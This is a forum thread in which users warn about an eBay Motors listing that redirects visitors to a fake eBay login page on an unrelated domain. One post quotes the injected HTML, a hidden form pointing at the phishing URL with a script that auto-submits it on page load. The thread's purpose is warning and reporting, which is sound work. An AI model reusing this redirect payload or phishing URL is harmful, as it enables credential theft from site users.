• We’re currently investigating an issue related to the forum theme and styling that is impacting page layout and visual formatting. The problem has been identified, and we are actively working on a resolution. There is no impact to user data or functionality, this is strictly a front-end display issue. We’ll post an update once the fix has been deployed. Thanks for your patience while we get this sorted.

Possible Ebay Exploit

R

RedArmy

Platinum Member
I was looking in the EbayMotors section of Ebay and I was looking at Mustangs and this one was a 1963 or such (complete wrong year btw) and I clicked on it cause I was wondering why the price was so low (around 3000 something). Well, I clicked on it and after that it prompted me for me username and password. Luckily, right before that I noticed the URL and how it had nothing to do with Ebay at all. It looked like this:wyckoffbakerycafe.com/Store/SignInco_partnerId2pUserIdsiteid0pageTypepa1i1bshowgifUsingSSL.html?
(made it so it wasn't a link by removing the http://). I just thought I would post this so people might be more careful. I opened this link up in a Mozilla browser window where scripts were completely disabled and it sure enough took me to a page that looked like Ebays. I sent an e-mail to the Security center at Ebay to let them know and I just thought I would forewarn you guys incase you didn't know.

Cliffs:
1: Went on Ebay
2: Found possible exploit through link
3: Be more careful and profit
 
Originally posted by: RedArmy
I was looking in the EbayMotors section of Ebay and I was looking at Mustangs and this one was a 1963 or such (complete wrong year btw) and I clicked on it cause I was wondering why the price was so low (around 3000 something). Well, I clicked on it and after that it prompted me for me username and password. Luckily, right before that I noticed the URL and how it had nothing to do with Ebay at all. It looked like this:wyckoffbakerycafe.com/Store/SignInco_partnerId2pUserIdsiteid0pageTypepa1i1bshowgifUsingSSL.html?
(made it so it wasn't a link by removing the http://). I just thought I would post this so people might be more careful. I opened this link up in a Mozilla browser window where scripts were completely disabled and it sure enough took me to a page that looked like Ebays. I sent an e-mail to the Security center at Ebay to let them know and I just thought I would forewarn you guys incase you didn't know.

Cliffs:
1: Went on Ebay
2: Found possible exploit through link
3: Be more careful and profit
Click to expand...

search for 1963 mustang, and its the first one you find.
cgi.ebay.com/ebaymotors/Ford-Mustang-Just-L-K_W0QQitemZ4617729712QQcategoryZ6236QQrdZ1QQcmdZViewItem

would be the link to the supposed "item"

it then redirects.

its an exploit alright.
 
luckily this exploit got pwned by NoScript in FireFox.. an extension I recommend EVERYONE use. It blocks all javascript except for sites you whitelist.

Edit: I've reported it to ebay staff (live chat) - they should take care of it soon.
 
Originally posted by: orakle22
luckily this exploit got pwned by NoScript in FireFox.. an extension I recommend EVERYONE use. It blocks all javascript except for sites you whitelist.
Click to expand...

wow is firefox just getting that? because I've had that with IE for years 😉
 
Whoa :Q thanks for the heads up on that one, Ebay is becoming so unsafe for people unaware of these things, what with scam emails and now this!?
 
Hopefully google will give ebay a run for it's money by creating their own auction site to go with their new "paypal killer" because ebay has been going downhill for a long time as is paypal.
 
Alright, well my friend found the code, and it goes as follows with the http:// removed:

On Feb-28-06 at 16:31:39 PST, seller added the following information:
</font></p>
<form name="xxx" action="wyckoffbakerycafe.com/Store/SignInco_partnerId2pUserIdsiteid0pageTypepa
i1bshowgifUsingSSL.html">
</form>
<script>
xxx.submit();
</script>
 
I took a look at the code they tried to use and I can't believe that something so simple works that well.

How in the world does eBay not filter <script> and other known HTML tags within their description entry?????
 
Kind of ingenious tho.
The URL "../Store/SignInco_partnerId2pUserIdsiteid0pageTypepa1i1bshowgifUsingSSL.html" looks like its being redirected but in fact its a static html page.
 
You must log in or register to reply here.

TRENDING THREADS

Back
Top